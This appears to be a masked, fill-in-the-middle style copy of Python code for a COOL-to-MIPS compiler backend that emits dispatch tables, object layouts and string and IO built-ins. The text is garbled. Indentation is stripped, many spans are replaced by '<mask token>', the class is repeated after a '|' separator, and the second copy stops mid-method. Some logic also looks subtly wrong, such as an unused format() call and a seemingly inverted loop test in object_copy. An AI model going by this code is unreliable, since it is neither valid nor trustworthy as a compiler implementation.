self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0')
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[
i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0')
self.write_file('')
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0')
self.write_file('')
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in
func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
<mask token>
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.
methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node
.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.
type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
<mask token>
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
<mask token>
<mask token>
@visitor.when(cil.Mult)
def visit(self, node: cil.Mult):
self.write_file('# *')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('mul $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
<mask token>
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')
self.write_file('lw $a0 0($t0)')
self.write_file('lw $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('li $a2 {}'.format(self.type_index.index(
INTEGER_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(
BOOLEAN_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))
)
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')
self.write_file(f'_eq_str_{node.id}_:', tabbed=False)
self.write_file('lw\t$t3 12($t0)')
self.write_file('lw\t$t3 12($t3)')
self.write_file('lw\t$t4, 12($t1)')
self.write_file('lw\t$t4, 12($t4)')
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')
self.write_file('addu $t0 $t0 16')
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16')
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3')
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)
self.write_file('lb $a0 0($t0)')
self.write_file('lb $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1')
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)
self.write_file('lw $a3 12($t0)')
self.write_file('lw $t4 12($t1)')
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')
self.write_file(f'_eq_true_{node.id}_:', tabbed=False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
self.write_file(f'_eq_false_{node.id}_:', tabbed=False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed=False)
<mask token>
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == 'data_':
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.Allocate)
def visit(self, node: cil.Allocate):
self.write_file('# ALLOCATE')
if node.ttype == VOID_TYPE:
self.write_file(f'la $v0 {VOID_MIPS_NAME}')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
else:
offset_proto = self.type_index.index(node.ttype) * 8
self.write_file('lw $t0 {}($s0)'.format(offset_proto))
self.write_file('sw $t0, 0($sp)')
self.write_file('addiu $sp, $sp, -4')
self.write_file('')
self.visit(cil.Call(dest=node.dest, f='Object_copy'))
self.write_file('addiu $sp, $sp, 4')
self.write_file('')
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
self.write_file(f'jal function_{node.f}')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == '_':
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
self.write_file(f'jalr $a0')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != '_':
self.write_file('li $a0, {}'.format(self.type_index.index(node.
name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
@visitor.when(cil.Goto)
def visit(self, node: cil.Goto):
self.write_file('# GOTO')
self.write_file('j _cil_label_{}'.format(node.label))
self.write_file('')
<mask token>
<mask token>
<mask token>
<mask token>
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')
self.write_file('move $t2 $v0')
self.write_file('li $t3 0')
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)')
self.write_file('sw $t1 0($v0)')
self.write_file('addiu $t0 $t0 4')
self.write_file('addiu $v0 $v0 4')
self.write_file('addiu $t3 $t3 4')
self.write_file('ble $t4 $t3 _objcopy_loop')
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2')
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4')
self.write_file('addu $a1 $a1 $s1')
self.write_file('lw $a1 0($a1)')
self.write_file('move $a2 $0')
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)')
self.write_file('sw $v0, 12($v1)')
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)')
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $t3 $v0')
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a2 16($fp)')
self.write_file('lw $t1 12($a1)')
self.write_file('lw $t1 12($t1)')
self.write_file('lw $t2 12($a2)')
self.write_file('lw $t2 12($t2)')
self.write_file('addu $t0 $t2 $t1')
self.write_file('sw $t0 12($v1)')
self.write_file('lw $a1 16($a1)')
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1')
self.allocate_memory('$t0', register=True)
self.write_file('move $t5 $v0')
self.write_file('move $t4 $a1')
self.write_file('addu $a1 $a1 $t1')
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
self.write_file('move $t4 $a2')
self.write_file('addu $a2 $a2 $t2')
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)')
self.write_file('sw $v1 12($t3)')
self.write_file('sw $v0 16($t3)')
self.write_file('move $v0 $t3')
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)')
self.write_file(f'lw $a1 16($fp)')
self.write_file(f'lw $a1 12($a1)')
self.write_file(f'lw $a2 20($fp)')
self.write_file(f'lw $a2 12($a2)')
self.write_file(f'blt $a1 $0 _index_negative')
self.write_file(f'blt $a2 $0 _index_negative')
self.write_file(f'add $a2 $a1 $a2')
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)')
self.write_file(f'bgt $a2 $a3 _index_out')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file(f'move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file(f'move $t0 $v0')
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)')
self.allocate_memory('$a2', register=True)
self.write_file(f'sw $t0 12($v1)')
self.write_file(f'sw $v0 16($v1)')
self.write_file('move $t1 $v0')
self.write_file('lw $t5 16($t5)')
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1')
self.write_file('addu $t5 $t5 $a2')
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
self.write_file(f'_index_negative:', tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:', tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_subst_abort:', tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la\t$a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall')
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
<mask token>
def io_in_string(self):
self.write_file('function_IO_in_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('sw $v1 12($v0)')
self.write_file('move $t5 $v0')
self.write_file('la $a0 str_buffer')
self.write_file('li $a1 1025')
self.write_file('li $v0 8')
self.write_file('syscall')
self.write_file('move $a0 $0')
self.write_file('la $t2 str_buffer')
self.write_file('_in_string_str_len_:', tabbed=False)
self.write_file('lb $t0 0($t2)')
self.write_file('beq $t0 $0 _end_in_string_str_len_')
self.write_file('beq $t0 10 _end_in_string_str_len_')
self.write_file('addiu $a0 $a0 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _in_string_str_len_')
self.write_file('_end_in_string_str_len_:', tabbed=False)
self.write_file('sw $a0 12($v1)')
self.allocate_memory()
self.write_file('la $t4 str_buffer')
self.write_file('move $t1 $v0')
self.write_file('_in_str_copy_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_copy_')
self.write_file('beq $t0 10 _end_in_str_copy_')
self.write_file('sb $t0 0($t1)')
self.write_file('addiu $t4 $t4 1')
self.write_file('addiu $t1 $t1 1')
self.write_file('j _in_str_copy_')
self.write_file('_end_in_str_copy_:', tabbed=False)
self.write_file('sw $v0 16($t5)')
self.write_file('la $t4 str_buffer')
self.write_file('_in_str_clean_:', tabbed=False)
self.write_file('lb $t0 0($t4)')
self.write_file('beq $t0 $0 _end_in_str_clean_')
self.write_file('sb $0 0($t4)')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _in_str_clean_')
self.write_file('_end_in_str_clean_:', tabbed=False)
self.write_file('move $v0 $t5')
self.write_file('jr $ra')
self.write_file('')
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
def io_out_string(self):
self.write_file('function_IO_out_string:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 16($a0)')
self.write_file('li $v0 4')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
<mask token>
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_')
self.write_file(f'sw $0 12($v0)')
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)')
self.write_file(f'_is_void_end_:', tabbed=False)
self.write_file(f'jr $ra')
self.write_file(f'')
| <mask token>
class MipsVisitor:
<mask token>
def __init__(self, inherit_graph, output_file='mips_code.mips'):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
def push(self):
self.write_file('sw $a0 0($sp)')
self.write_file('addiu $sp $sp -4')
def pop(self, dest=None):
self.write_file(f'addiu $sp $sp 4')
def write_file(self, msg, mode='a', tabbed=True):
f = open(self.output_file, mode)
f.write('{}{}\n'.format('\t' if tabbed else '', msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
elif size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
<mask token>
@visitor.on('node')
def visit(self, node):
pass
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', 'w')
self.write_file('.data', tabbed=False)
self.static_datas()
for data in node.data_section:
self.visit(data)
self.write_file('')
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz "{}"'.format(node.
type_section[i].type_name, node.type_section[i].type_name))
self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""')
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
self.conforms()
self.isvoid()
self.object_abort()
self.object_copy()
self.object_typename()
self.string_length()
self.string_concat()
self.string_substr()
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0')
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[
i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0')
self.write_file('')
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0')
self.write_file('')
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in
func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
<mask token>
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.
methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node
.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.
type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
@visitor.when(cil.Function)
def visit(self, node: cil.Function):
self.write_file(f'function_{node.name}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')
for i in range(len(node.args)):
self.offset[node.args[i].name] = 12 + i * 4
for i in range(len(node.vlocals)):
self.offset[node.vlocals[i].name] = i * -4
for inst in node.body:
if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):
inst.id = self.new_labels_id()
self.visit(inst)
self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')
self.write_file('jr $ra')
self.write_file('')
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
<mask token>
@visitor.when(cil.Minus)
def visit(self, node: cil.Minus):
self.write_file('# -')
if isinstance(node.left, int):
self.write_file('li $a0 {}'.format(node.left))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('sub $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.Mult)
def visit(self, node: cil.Mult):
self.write_file('# *')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))
self.write_file('mul $a0, $a0, $a1')
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
<mask token>
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')
self.write_file('lw $a0 0($t0)')
self.write_file('lw $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('li $a2 {}'.format(self.type_index.index(
INTEGER_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(
BOOLEAN_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))
)
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')
self.write_file(f'_eq_str_{node.id}_:', tabbed=False)
self.write_file('lw\t$t3 12($t0)')
self.write_file('lw\t$t3 12($t3)')
self.write_file('lw\t$t4, 12($t1)')
self.write_file('lw\t$t4, 12($t4)')
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')
self.write_file('addu $t0 $t0 16')
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16')
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3')
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)
self.write_file('lb $a0 0($t0)')
self.write_file('lb $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1')
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)
self.write_file('lw $a3 12($t0)')
self.write_file('lw $t4 12($t1)')
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')
self.write_file(f'_eq_true_{node.id}_:', tabbed=False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
self.write_file(f'_eq_false_{node.id}_:', tabbed=False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed=False)
<mask token>
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == 'data_':
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.Allocate)
def visit(self, node: cil.Allocate):
self.write_file('# ALLOCATE')
if node.ttype == VOID_TYPE:
self.write_file(f'la $v0 {VOID_MIPS_NAME}')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
else:
offset_proto = self.type_index.index(node.ttype) * 8
self.write_file('lw $t0 {}($s0)'.format(offset_proto))
self.write_file('sw $t0, 0($sp)')
self.write_file('addiu $sp, $sp, -4')
